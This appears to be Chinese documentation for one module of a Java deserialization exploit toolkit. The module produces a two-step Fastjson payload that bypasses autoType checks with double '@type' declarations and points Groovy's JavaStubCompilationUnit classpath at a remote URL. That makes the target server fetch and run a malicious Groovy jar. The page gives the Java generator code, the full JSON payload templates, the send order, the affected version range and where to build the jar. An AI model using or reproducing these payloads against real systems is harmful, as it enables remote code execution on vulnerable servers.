- 类别:fastjson 别名:— 优先级:—
- 作者:—
- 依赖:
org.codehaus:groovy、1.2.76 <= fastjson <= 1.2.83(需autoTypeEnabled)
生成两段 Fastjson JSON payload,利用 Groovy 的 JavaStubCompilationUnit 把攻击者的 URL 加入编译器 classpath,从而远程加载并执行一个恶意 Groovy jar。这是 fastjson 1.2.76~1.2.83 期间绕过 autoType 黑名单、无需本地字节码 sink 的远程加载链。
- 入口
tags:FastjsonPayload、END——FastjsonPayload表示产物是交给 Fastjson 反序列化入口的 JSON 文本;END表示本 gadget 是链尾(自身即最终 sink,不再向下包装其他 gadget)。 - 衔接
nextTags:无 —— 作为END构件,不衔接下游。 excludes:无。
本类不消费内层对象(invoke 直接调用无参 getObject(),没有 chain.doCreate),它纯粹是「payload 文本生成器」:
@Param(name="加载jar包的url")
public String jarUrl = "http://127.0.0.1:50000/EvalGroovy.jar";
public static String template1 = "{\n \"x1\": {\n \"@type\": \"java.lang.Exception\",\n \"@type\": \"org.codehaus.groovy.control.CompilationFailedException\",\n \"unit\": {}\n }\n}";
public static String template2 = "{\n \"x2\": {\n \"@type\": \"org.codehaus.groovy.control.ProcessingUnit\",\n \"@type\": \"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n \"config\": {\n \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n \"classpathList\": \"%s\"\n }\n }\n}";
public Object getObject() {
return "[INFO] Step1:\n" + template1 + "\n\n[INFO] Step2:\n" + String.format(template2, this.jarUrl);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}- 两段式 payload:
description明确「需要发送两个 payload 才能实现远程加载 groovy jar」。产物是把template1与template2拼在一起并附上[INFO] Step1/Step2提示,供操作者分两次发送。 - Step1(template1):
@type双写为java.lang.Exception→org.codehaus.groovy.control.CompilationFailedException。这是 fastjson 1.2.76+ 里绕过 autoType 检测的经典手法——外层声明一个已在白名单/可被接受的父类java.lang.Exception,内层再切换到真正的目标类;unit字段用于在此阶段把编译单元对象缓存/固定到 fastjson 的ClassLoader/引用体系中,为 Step2 铺路。 - Step2(template2):
@type双写ProcessingUnit→org.codehaus.groovy.tools.javac.JavaStubCompilationUnit,并给其config(CompilerConfiguration)的classpathList属性写入攻击者的jarUrl。当 Groovy 的 stub 编译单元被实例化/触发时,会以该 classpath 去加载类,从而从远程 URL 拉取并执行恶意 Groovy jar 中的初始化逻辑(jar 内的静态/构造逻辑执行命令)。 %s由String.format用jarUrl填入classpathList。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
jarUrl |
加载 jar 包的 url | 恶意 Groovy jar 的远程地址,写入 classpathList |
http://127.0.0.1:50000/EvalGroovy.jar |
任意 URL |
- 适用
1.2.76 <= fastjson <= 1.2.83,且目标须autoTypeEnabled(开启 autoType)。 - 依赖目标 classpath 存在
org.codehaus:groovy。 - 需两次请求:先发 Step1(异常类型预置),再发 Step2(触发
JavaStubCompilationUnit远程加载)。 - 恶意 Groovy jar 可用工具内
OtherPayload -> GroovyJarConvert生成(见description)。 - 与依赖本地字节码 sink 的链不同,本链把「代码」放在远程 jar 中,
END即完成 RCE。
自由构件,未直接出现在预设链(usedInChains 为空)。可在 Fastjson 入口场景下单独使用。
- 同族 Fastjson END 构件:FastjsonJdbcRowSetImpl、FastjsonJta、FastjsonMySQL1_2_80(均为
FastjsonPayload + END的自包含 payload 生成器)。 - 需字节码 sink 的对照:FastjsonH2Jdbc(
nextTags=BytecodeConvertTag,需接BytecodeConvert)。 - 恶意 jar 生成:
GroovyJarConvert(OtherPayload)。